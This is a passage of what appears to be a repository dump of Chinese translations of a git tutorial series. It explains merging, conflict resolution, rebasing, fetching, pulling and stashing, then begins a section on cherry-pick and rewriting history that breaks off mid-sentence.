第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-2.md)\n- [Git：透过命令学概念 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-3.md)\n\n---\n\n- [Git：透过命令学概念 —— 第二部分](#Git%E9%80%8F%E8%BF%87%E5%91%BD%E4%BB%A4%E5%AD%A6%E6%A6%82%E5%BF%B5--%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86)\n  - [合并](#%E5%90%88%E5%B9%B6)\n    - [快进合并](#%E5%BF%AB%E8%BF%9B%E5%90%88%E5%B9%B6)\n    - [合并相异的分支](#%E5%90%88%E5%B9%B6%E7%9B%B8%E5%BC%82%E7%9A%84%E5%88%86%E6%94%AF)\n    - [解决冲突](#%E8%A7%A3%E5%86%B3%E5%86%B2%E7%AA%81)\n  - [变基](#%E5%8F%98%E5%9F%BA)\n    - [解决冲突](#%E8%A7%A3%E5%86%B3%E5%86%B2%E7%AA%81-1)\n  - [更新远程变更到**本地工作环境**](#%E6%9B%B4%E6%96%B0%E8%BF%9C%E7%A8%8B%E5%8F%98%E6%9B%B4%E5%88%B0%E6%9C%AC%E5%9C%B0%E5%B7%A5%E4%BD%9C%E7%8E%AF%E5%A2%83)\n    - [获取更新](#%E8%8E%B7%E5%8F%96%E6%9B%B4%E6%96%B0)\n    - [拉取更新](#%E6%8B%89%E5%8F%96%E6%9B%B4%E6%96%B0)\n    - [储藏变更](#%E5%82%A8%E8%97%8F%E5%8F%98%E6%9B%B4)\n    - [包含冲突的拉取](#%E5%8C%85%E5%90%AB%E5%86%B2%E7%AA%81%E7%9A%84%E6%8B%89%E5%8F%96)\n\n---\n\n## 合并\n\n我们所有人一般都会工作在分支上，我们需要讨论下如何通过**合并**来从一个分支上获取变更到另一个分支上。\n\n我们刚在 `change_alice` 分支上修改了 `Alice.txt`，我想说我们对所做的改变感到满意。\n\n如果你接着执行 `git checkout master` 命令，那么我们在其他分支上创建的 `提交` 无法在此看到为了将变更弄到 master 分支，我们需要 `合并` `change_alice` 分支**到** master 分支上。\n\n注意：你总是将某个分支 `合并` 到当前分支。\n\n### 快进合并\n\n既然我们已经执行了 `checked out` 来切换到 master 分支，现在我们可以执行 `git merge change_alice` 合并命令。\n\n由于 `Alice.txt` 并没有其他**冲突**变更，我们在 **master** 分支未做修改，因此合并将在所谓的**快进**合并中进行。 \n\n在下面的图表中，我们可以看到，这仅仅意味着：**master** 的指针会被简单地前进到 **change_alice** 分支存在的位置。\n\n第一张图显示了我们执行 `合并` 前的状态，**master** 指针仍处于它之前的提交位置，同时另一个分支上我们又做了一次提交。\n\n[![快进合并之前](https://res.cloudinary.com/practicaldev/image/fetch/s--sS6CJ1Rg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/before_ff_merge.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--sS6CJ1Rg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/before_ff_merge.png)\n\n第二张图显示了在我们 `合并` 之后发生了什么变化。\n\n[![快进合并之后](https://res.cloudinary.com/practicaldev/image/fetch/s--K_hHy8zA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/ff_merge.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--K_hHy8zA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/ff_merge.png)\n\n### 合并相异的分支\n\n让我们试一些更复杂的。\n\n在 master 分支的 `Bob.txt` 文件新行中添加一些文字，然后提交它。\n\n接着执行 `git checkout change_alice` 命令，改变 `Alice.txt` 文件并提交。\n\n在下图中，你可以看到我们的提交历史现在的样子。**master** 和 `change_alice` 分支都源于同一个提交，但那之后它们发生了**分歧** ，每个分支都有自己额外的提交。\n\n[![不同的提交](https://res.cloudinary.com/practicaldev/image/fetch/s--NKM59jTn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/branches_diverge.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--NKM59jTn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/branches_diverge.png)\n\n如果你现在使用命令 `git merge change_alice` 来执行一个快进合并是不可能的了。取代它的是，你最爱的文本编辑器将会打开，并且允许你修改 `合并提交` 操作的提交信息，git 即将执行这个提交从而将两个分支重新保持一致。你现在使用默认提交信息就行。下图显示了我们在执行 `合并` 后的 git 历史状态。\n\n[![合并分支](https://res.cloudinary.com/practicaldev/image/fetch/s--btBTCeUD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/merge.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--btBTCeUD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/merge.png)\n\n新的提交将我们在 `change_alice` 分支上的修改引入到 master 分支。 \n\n正如你之前记得那样，git 中的修订不仅仅是文件的快照，还包含了它们来自何处的一些信息。每次 `提交` 都包含一个或多个父级提交信息。我们的新 `合并` 提交包含了 **master** 分支的最后提交，以及我们在另一个分支上的提交来作为这次合并的父级提交。\n\n### 解决冲突\n\n目前为止，我们的修改都没有相互干扰。\n\n让我们介绍一种**冲突**，然后**解决**它。\n\n创建一个新分支，然后将它 `检出`。你知道如何操作，不过或许可以使用 `git checkout -b` 命令为你减少麻烦。\n\n我把它命名为 `bobby_branch`。\n\n在这个分支上，我们会修改 `Bob.txt` 文件。\n\n第一行应该仍然是 `Hi!! I'm Bob. I'm new here.`，把它修改成 `Hi!! I'm Bobby. I'm new here.`。\n\n暂存文件之后，在你再次 `检出` master 分支之前，`提交` 你的修改。在 master 分支我们将同一行修改为 `Hi!! I'm Bob. I've been here for a while now.`，接着 `提交` 该修改。\n\n现在是将新分支 `合并` 到 **master** 的时候了。\n\n如果你尝试这么做，你将会看到如下的结果：\n\n```\nAuto-merging Bob.txt\nCONFLICT (content): Merge conflict in Bob.txt\nAutomatic merge failed; fix conflicts and then commit the result.\n```\n\n两个分支都修改了同一行，此时 git 工具无法自己完全处理这种情况。\n\n如果你运行 `git status` 命令，你会获取到用来指导接下来如何继续的所有常见帮助命令。\n\n首先我们必须手动解决冲突。\n\n> 对于像这个简单冲突来说，你最喜爱的文本编辑器就够用了。而对于合并含有很多变化的多个文件来说，使用更强大的工具会让你轻松不少，我建议选用包含版本控制工具，具有友好合并界面的你最喜爱的 IDE。\n\n如果你打开 `Bob.txt` 文件，你会看到一些类似下面的内容（我已经截断了之前可能放在第二行的其他内容）：\n\n```\n<<<<<<< HEAD\nHi! I'm Bob. I've been here for a while now.\n=======\nHi! I'm Bobby. I'm new here.\n>>>>>>> bobby_branch\n[...你在第 2 行传入的随便什么内容]\n```\n\n在上面你可以看到当前 HEAD 上 `Bob.txt` 发生的变化，在下面你可以看到我们正尝试合并进来的分支所做的更改。\n\n为了手工解决冲突，你只需要确保文件最终保留一些合理内容，而不包含 git 引入文件的特殊行。\n\n所以继续修改文件为下面这种内容：\n\n```\nHi! I'm Bobby. I've been here for a while now.\n[...]\n```\n\n从这里开始，我们即将要做的事是适用于任何变更。\n\n在我们执行 `add Bob.txt` 添加文件后，**暂存**这些变更，然后执行 `提交`。\n\n我们已经了解为解决冲突所做的变更提交，就是合并过程中一直都有的**合并提交**。\n\n实际上你应该意识到在解决冲突的过程中，如果你不想继续 `合并` 进程，你可以通过运行 `git merge --abort` 命令直接 `中止` 它。\n\n## 变基\n\nGit 有另外一种纯净方式来集成两个分支的变化，叫做 `变基`。\n\n我们始终记得一个分支总是基于另外一个分支。当你创建它时，从某处开始**分叉**。\n\n在我们简单的合并样例中，我们从 **master** 分支的某次提交创建了一个分支，然后提交了在 **master** 和 `change_alice` 分别提交了一些变更。\n\n当一个分支相对于它所基于的分支产生了改变，如果你想要把最新的变更整合到你当前的分支，`变基` 提供了一种比 `合并` 更加纯净的处理方式。\n\n正如你所看到的，一次 `合并` 引入了一个**合并提交**，这个过程中两边的历史记录得到整合。\n\n很容易看得出，变基仅仅改变了你的分支所依赖的历史记录点（创建分支所基于的某次提交）。\n\n为了尝试这一点，我们首先将 **master** 分支再次检出，然后基于它来创建/检出一个新分支。\n\n我称自己的新分支为 `add_patrick`，然后我添加了一个新文件 `Patrick.txt`，然后以信息 “Add Patrick” 提交了该文件。\n\n在你为该分支添加了一条提交后，返回 **master** 分支，做一点修改然后提交它。我做的修改是为 `Alice.txt` 文件多加了一些文本。\n\n就像我们合并样例中那样，两个分支有公共祖先，然而历史是不同的，你可以从下图中看出：\n\n[![一次变基之前的历史记录](https://res.cloudinary.com/practicaldev/image/fetch/s--nTsD2ONw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/before_rebase.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--nTsD2ONw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/before_rebase.png)\n\n现在让我们再执行 `checkout add_patrick` 命令，然后把 **master** 上做的修改获取到我们正在操作的分支上！\n\n当我们执行 `git rebase master` 命令，我们让 `add_patrick` 分支重新以当前状态的 **master** 分支做了基准。\n\n上面这条命令为我们提供了目前操作的友好提示：\n\n```\nFirst, rewinding head to replay your work on top of it...\nApplying: Add Patrick\n```\n\n我们知道 **HEAD** 是我们所在的**工作环境**中当前提交的指针。\n\n在变基操作执行之前，它的指向与 `add_patrick` 分支一致。发生了变基，它会首先移回到两个分支的公共祖先，然后移动到我们想要定为基点的那个分支的当前顶点。\n\n所以 **HEAD** 移动到 **0cfc1d2** 这次提交，然后到 **7639f4b** 这次提交，它是位于 **master** 分支的顶点。\n\n然后变基操作会将我们在 `add_patrick` 分支上做的每一个提交都应用到那个顶点上。\n\n为了更精确了解 **git** 把 **HEAD** 指针移回到分支的公共祖先过程中做了什么，可以把你在被操作的分支上每次提交都存储一部分（修改的 `差异点`、提交信息、作者等等。）。\n\n在上面操作之后，你正在变基的分支需要 `检出` 最新的提交，然后把存下的所有变化**以一条新提交**应用到前面的提交之上。\n\n所以在我们原先简单的视图中，我们认为在 `变基` 之后，**0cfc1d2** 这次提交不再指向它历史中原公共祖先，而是指向 master 分支的顶部。\n\n事实上，**0cfc1d2** 这次提交消失了，并且 `add_patrick` 分支以一个新提交 **0ccaba8** 为开始，它以 **master** 分支的最新提交作为公共祖先。\n\n我们让它看起来就像，`add_patrick` 分支是以当前 **master** 分支为基点，而不是分支的较旧版本，不过我们这样做相当于重写了该分支的历史。\n\n在本教程的末尾，我们会多学习一些重写历史以及什么时候适宜和不适宜这么做。\n\n[![变基之后的历史记录](https://res.cloudinary.com/practicaldev/image/fetch/s--rV897ytW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/rebase.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--rV897ytW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/rebase.png)\n\n当你自己的工作分支是基于一个共享分支时，例如 **master** 分支，`变基` 是一种相当强大的工具。\n\n使用变基操作，可以确保你能经常整合别人提交到 **master** 分支的变更和推送，并且保证一条干净线性的历史，在你的工作文本需要引入到共享分支时，这种历史可以做 `快进合并`。\n\n相对于包含**合并提交**的凌乱历史，保持历史的线性也可以使提交日志更加有用（试一下 `git log --graph`，或者看一下 **GitHub** 或 **GitLab** 的分支视图）。\n\n### 解决冲突\n\n就像 `合并` 过程中，如果遇到两次提交修改了一个文件中同样位置的内容块，你可能会遇到冲突。\n\n然而当你在 `变基` 过程中遇到冲突，你无需在额外的**合并提交**中解决它，却可以在当前正在执行的提交中解决它。\n\n同样地，将你的修改直接以原始分支的当前状态为基准。\n\n事实上，你在 `变基` 过程中的解决冲突操作非常类似你在 `合并` 中的操作，所以如果你不太确定如何操作的话，可以回过头查看那个小节。\n\n唯一的区别在于，由于你没有引入**合并提交**，所以不需要你提交冲突解决结果。只需**添加**变更到**暂存环境**，然后执行 `git rebase --continue` 命令。冲突将会在刚刚执行的提交中得到解决。\n\n当合并时，你一直都可以停止和丢弃目前你做的所有内容，通过执行 `git rebase --abort` 命令。\n\n## 更新远程变更到**本地工作环境**\n\n目前为止，我们已经学习了如何生成和共享内容变更。\n\n如果你是独自工作，这些已经够用了。但是通常我们是多人共同处理一项工作，并且我们想要从**远程仓库**以某种方式获取他们的变更到我们自己的**工作环境**中。\n\n由于已经过了一段时间，让我们看一下 git 的组件：\n\n[![git 组件](https://res.cloudinary.com/practicaldev/image/fetch/s--jSuilYlA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/components.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--jSuilYlA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/components.png)\n\n就像你的**工作环境**，每个工作在同一份源代码的人都有他们自己的工作环境。\n\n[![许多工作环境](https://res.cloudinary.com/practicaldev/image/fetch/s--l88bjwDT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/many_dev_environments.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--l88bjwDT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/many_dev_environments.png)\n\n所有这些**工作环境**都有它们自己的**进行中**和**暂存的**变更，这些会在某个节点被 `提交` 到**本地仓库**，最终 `推送` 到**远程仓库**。\n\n我们的例子中，我们会使用 **GitHub** 提供的在线工具，来模拟在我们工作时其他人对**远程仓库**生成的变更。\n\n查看你在 [github.com](https://www.github.com) 网上对这个仓库的 fork 分支，打开 `Alice.txt` 文件。\n\n找到编辑按钮，通过网站来生成和提交一个变更。\n\n[![github 编辑](https://res.cloudinary.com/practicaldev/image/fetch/s--ifXKNJi7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/github.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--ifXKNJi7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/github.png)\n\n在这个仓库中，我已经在一个叫做 `fetching_changes_sample` 的分支上为 `Alice.txt` 文件添加了一个远程仓库变更，但是在你的该仓库版本，你当然可以直接改变 `master` 分支上这个文件。\n\n### 获取更新\n\n我们还记得，当你执行 `git push` 命令时，会将**本地仓库**的变更同步到**远程仓库**。\n\n为了获取**远程仓库**中的变更到**本地仓库**，你可以使用 `git fetch` 命令。\n\n这个操作获取到远程的任何变更到你的**本地仓库**，包含提交和分支。\n\n这点要注意，变更还没有被整合到本地分支，更不用说**工作空间**和**暂存区域**。\n\n[![获取更新](https://res.cloudinary.com/practicaldev/image/fetch/s--F6oFwBrc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/fetch.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--F6oFwBrc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/fetch.png)\n\n如果你现在执行 `git status` 命令，你会看到 git 命令的另一个很棒的例子，告诉你现在正发生什么：\n\n```\ngit status\nOn branch fetching_changes_sample\nYour branch is behind 'origin/fetching_changes_sample' by 1 commit, and can be fast-forwarded.\n(use \"git pull\" to update your local branch)\n```\n\n### 拉取更新\n\n由于我们没有**工作中**和**暂存**的变更，我们现在可以执行 `git pull` 命令来从**仓库**中拉取所有变更到我们的工作空间。\n\n> 拉取会隐式地 `获取` **远程仓库**，但有时候单独执行 `获取` 是个好选择。\n> 例如，当你想要同步任何新的**远程**分支，或者你想在像 `origin/master` 这种分支上执行 `git rebase` 之前，需要确保你的**本地仓库**是最新的。\n\n[![拉取更新](https://res.cloudinary.com/practicaldev/image/fetch/s--LD07tDxG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/pull.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--LD07tDxG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/pull.png)\n\n在我们 `拉取` 之前，让我们本地修改一个文件来看会发生什么。\n\n让我们在**工作空间**再次修改 `Alice.txt` 文件！\n\n如果你现在尝试做一次 `git pull`，你会看到如下错误：\n\n```\ngit pull\nUpdating df3ad1d..418e6f0\nerror: Your local changes to the following files would be overwritten by merge:\nAlice.txt\nPlease commit your changes or stash them before you merge.\nAborting\n```\n\n你无法 `拉取` 任何变更，因为**工作空间**中有些文件被修改，同时你正在拉取进来的提交也有这些文件的变化。\n\n这种情况的一种解决方法是，为了获取你比较信任的某个点上的变更，在你最终提交它们之前，可以把本地变更 `添加` 到**暂存空间**。但是在你最终提交它们之前，而这是学习另一个很棒工具的一个好时机。\n\n### 储藏变更\n\n在任何时刻如果你有一些本地变更，还不想放进一个提交中，或者想存在某个地方来以其他某种角度来解决一个问题，你可以将这些变更 `储藏` 起来。\n\n一次 `git stash` 基本上是一个变更的堆栈，这里面你可以存储对**工作空间**的任何变更。\n\n最常用的命令是：`git stash`，它将对**工作空间**的任何修改储藏起来。还有 `git stash pop` 命令，它拿到储藏起来的最近修改，并将其再次应用到**工作空间**。\n\n就如堆栈命令的命名，`git stash pop` 命令在应用变更之前，将最近存储的变更移除。\n\n如果你想保留储藏的变更，你可以使用 `git stash apply` 命令，这种方式不会在应用变更之前从储藏中移除它们。\n\n为了检查你当前的 `储藏`,你可以使用 `git stash list` 命令来列出各个单独的条目，还可以使用 `git stash show` 命令来显示 `储藏` 中最近条目的变更。\n\n> 另一个好用的命令是 `git stash branch {BRANCH NAME}`，它从当前的 HEAD 开始创建一个分支，此时你储藏了变更，并把它们应用到了新建分支中。\n\n现在我们了解了 `git stash` 命令，让我们执行它，用来从**工作空间**中移除我们对 `Alice.txt` 文件做的本地变更，这样我们就可以继续上面的操作，执行 `git pull` 命令来拉取我们在网站上做的远程变更。\n\n在那之后，让我们执行 `git stash pop` 命令来取回本地变更。\n\n因为我们 `拉取` 的提交和 `储藏` 的变更都修改了 `Alice.txt` 文件，所以你需要解决冲突，就像在 `合并` 或 `变基` 中你做的那样。\n完成 `添加` 后，提交这个变更。\n\n### 包含冲突的拉取\n\n现在我们已经理解如何 `获取` 和 `拉取` **远程变更**到我们的**工作环境**，正是制造一些冲突的时候！\n\n不要推送那个修改 `Alice.txt` 文件的提交，回到你位于 [github.com](https://www.github.com) 的**远程仓库**\n\n这里我们又要修改 `Alice.txt` 文件并提交它。\n\n现在实际上在我们的**本地**和**远程仓库**之间存在两处冲突。\n\n不要忘了运行 `git fetch` 命令来查看远程的变更，而不是立即 `拉取` 它。\n\n如果你现在运行 `git status` 命令，你会看到两个分支各有一个与对方不同的提交。\n\n```\ngit status\nOn branch fetching_changes_sample\nYour branch and 'origin/fetching_changes_sample' have diverged,\nand have 1 and 1 different commits each, respectively.\n(use \"git pull\" to merge the remote branch into yours)\n```\n\n另外，我们已经在上面不同提交中修改了同一个文件，为了介绍 `合并` 中的冲突这个概念，所以我们需要解决它。\n\n当你执行 `git pull` 命令时，而**本地**和**远程仓库**之间存在着差异，就会发生与 `合并` 两个分支过程时同样的事情。\n\n额外的，你可以认为**远程仓库**和**本地仓库**分支之间的关系是一种从一个分支上创建另一个分支的特殊情况。\n\n本地分支是基于你从**远程仓库**最近一次获取的分支状态的。\n\n如果以这种方式思考，这两种选项来获取**远程仓库**变化就很有道理：\n\n当你执行 `git pull` 命令，**本地**和**远程仓库**的版本就会 `合并`。就像 `合并` 不同分支一样，这会引入一个**合并**提交。\n\n因为任何本地分支都基于它们各自的远程版本，我们也可以对它执行 `变基`，这样做的话我们在本地做的任何变更，都表现为基于远程仓库中的最新可用版本。\n\n为了这么做，我们可以使用 `git pull --rebase` 命令（或者简写`git pull -r`）。\n\n在[变基](#变基)这小节中已经详细介绍了，保持一个干净线性的历史提交记录是有好处的，所以我才强烈建议当你需要执行 `git pull` 命令时，不妨使用 `git pull -r` 替代。\n\n> 你也可以告诉 git 使用 `变基` 来代替 `合并`，作为你执行 `git pull` 命令时的默认策略，通过一个像这样 `git config --global pull.rebase true` 的命令来设置 `pull.rebase` 标识。\n\n在我介绍前面几个段落之后，如果你还没有执行过 `git pull` 命令的话，让我现在一起执行 `git pull -r` 来获取远程变更吧，让它显得就像我们的新提交位于那些远程变更之后。\n\n当然就像一个正常的 `变基`（或者 `合并`）操作，你需要解决我们引入的冲突，以便 `git pull` 命令可以完成。\n\n欢迎继续阅读本系列其他文章：\n\n- [Git：透过命令学概念 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-1.md)\n- [Git：透过命令学概念 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-2.md)\n- [Git：透过命令学概念 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-3.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learn-git-concepts-not-commands-3.md",
    "content": "> * 原文地址：[Learn git concepts, not commands- Part 3](https://dev.to/unseenwizzard/learn-git-concepts-not-commands-4gjc)\n> * 原文作者：[Nico Riedmann](https://dev.to/unseenwizzard)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-3.md)\n> * 译者：[Sam](https://github.com/xutaogit)\n> * 校对者：[40m41h42t](https://github.com/40m41h42t)，[子非](https://github.com/CoolRice)\n\n# Git：透过命令学概念 —— 第三部分\n\n**用交互式的教程教你 Git 的原理，而非罗列常用命令。**\n\n所以，你想正确地使用 Git 吗？\n\n但你肯定不想仅仅学一些操作命令，你还想要理解其背后的原理，对吧？\n\n那么本文就是为你量身定做的！\n\n让我们快点开动吧！\n\n---\n\n> 本文的落笔点基于 Rachel M. Carmena 撰写的 [**如何教授 Git**](https://rachelcarmena.github.io/2018/12/12/how-to-teach-git.html) 一文中提及的常规概念。\n>\n> 网上有很多重方法轻原理的 Git 教程，但我还是挖掘到了兼得二者的宝贵资源（也是本教程的灵感源泉），那就是 [*git Book*](https://git-scm.com/book/en/v2) 和 [*Reference page*](https://git-scm.com/docs)。\n>\n> 因此，如果你读完了本文还意犹未尽，就快点击上面两个链接一探究竟吧！我真心希望本教程中介绍的概念，能帮你理解另外两篇文章中详解的其他 Git 功能。\n\n建议按照顺序阅读本系列文章：\n\n- [Git：透过命令学概念 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-1.md)\n- [Git：透过命令学概念 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-2.md)\n- [Git：透过命令学概念 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-3.md)\n\n---\n\n* [精心挑选](#cherry-picking-精心挑选)\n* [重写历史](#rewriting-history-重写历史)\n* [查看历史](#reading-history-查看历史)\n\n---\n\n## 精心挑选\n\n> 恭喜！你现在已经知道了更多的高级功能！\n>\n> 到目前为止你知道如何使用所有典型的 git 命令，更重要的是你还了解它们是如何工作的。\n>\n> 比起我只告诉你输入什么命令，这些（之前了解的高级功能）将有助于帮你更容易理解接下来的概念。\n>\n> 所以让我们立即学习如何使用`挑选（cherry-pick）`命令！\n\n基于之前的章节你应该还大致记得 `提交（commit）` 命令是如何执行的，对吧？\n\n以及如何在对分支进行 [`rebase`](#rebasing) （变基）的时候，把你的提交应用成为具有相同**更改集**和**提交消息**的新提交？\n\n有时你只想从一个分支上获取一些改动并应用到另一个分支上，（比如）你希望通过`挑选`命令把一些改动拉取到你自己的分支上。\n\n这正是 `git cherry-pick` 命令允许你使用单个或一组提交要做的事。\n\n就像在`变基`命令执行过程中一样，它实际上会将这些提交的更改放置到你当前分支上的新提交中。\n\n让我们看一个例子，分别用于`挑选`一个或多个提交：\n\n下图显示的是在我们执行任何操作之前存在的三个分支。假设我们现在就想要从 `add_patrick` 分支获取一些变更放置到 `change_alice` 分支里。遗憾的是现在它们（译者注： `add_patrick` 分支上的变更）并没有合到 master 主干上，所以我们不能仅通过在 master 主干上使用`变基`命令获取这些变更（因为我们可能获取到其他分支上我们不想要的变更）。\n\n[![Branches before cherry-picking](https://res.cloudinary.com/practicaldev/image/fetch/s--DcmKB8P2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/cherry_branches.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--DcmKB8P2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/cherry_branches.png)\n\n所以，让我们使用 `git cherry-pick` 命令定位到 **63fc421** 这个提交。\n\n下图可视化地表现了当我们运行 `git cheery-pick 63fc421` 命令时发生了什么：\n\n[![Cherry-picking a single commit](https://res.cloudinary.com/practicaldev/image/fetch/s--3eCyc1bO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/cherry_pick.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--3eCyc1bO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/cherry_pick.png)\n\n你可以看到，带有我们想要变更的一个新提交出现在分支上。\n\n> 此时请注意，与我们之前见过的任何其他方式获取变更到分支上的情况一样，在命令顺利运行之前，任何在执行`挑选`命令期间出现的冲突都需要我们**自己解决**。\n>\n> 同样和其他所有命令一样，当你解决完冲突后可以使用 `cherry-pick --continue` 命令继续或使用 `--abort` 命令结束所有操作。\n\n下图展示了使用`挑选`命令选取一组提交而不是单个提交。你可以通过调用 `git cherry-pick <from>..<to>` 形式的命令做到这一点，或者像我们下面的例子一样使用 `git cherry-pick 0cfc1d2..41fbfa7`。\n\n[![Cherry-picking commit range](https://res.cloudinary.com/practicaldev/image/fetch/s--_-UHvfoF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/cherry_pick_range.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--_-UHvfoF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/cherry_pick_range.png)\n\n## 重写历史\n\n> 我又要再问一遍，你确定还记得 [`变基`](#rebasing) 命令是如何运作的对吧？或许在继续开始之前，你快速跳回到那个章节看看，因为我们将要使用已经掌握的知识学习如何改变历史！\n\n如你所知，`提交` 命令通常包含了分支的变更内容，变更描述和其他一些信息。\n\n一条分支的“历史”是由它的提交构成的。\n\n我们假设你刚完成了一个`提交`，然后发现少提交了文件，或者你有一个拼写导致的代码错误。\n\n简要来说可以做两件事修复这个问题，并且让这个错误看起来像从未发生过一样。\n\n让我们使用 `git checkout -b rewrite_history` 命令切换到一个新分支。\n\n现在我们在 `Alice.txt` 和 `Bob.txt` 文件上都做一些修改，然后执行 `git add Alice.txt`。\n\n之后使用 “This is history” 作为描述信息运行 `git commit`，结束操作。\n\n等等，我们做完了吗？不，你会清楚地看到我们在这里犯了一些错误：\n\n- 我们忘记添加变更到 `Bob.txt` 文件里\n- 我们没有撰写一个[良好的提交描述信息](https://chris.beams.io/posts/git-commit/)\n\n### 修正最后一次提交\n\n解决这两个问题的一种方式是使用 `amend（修正）` 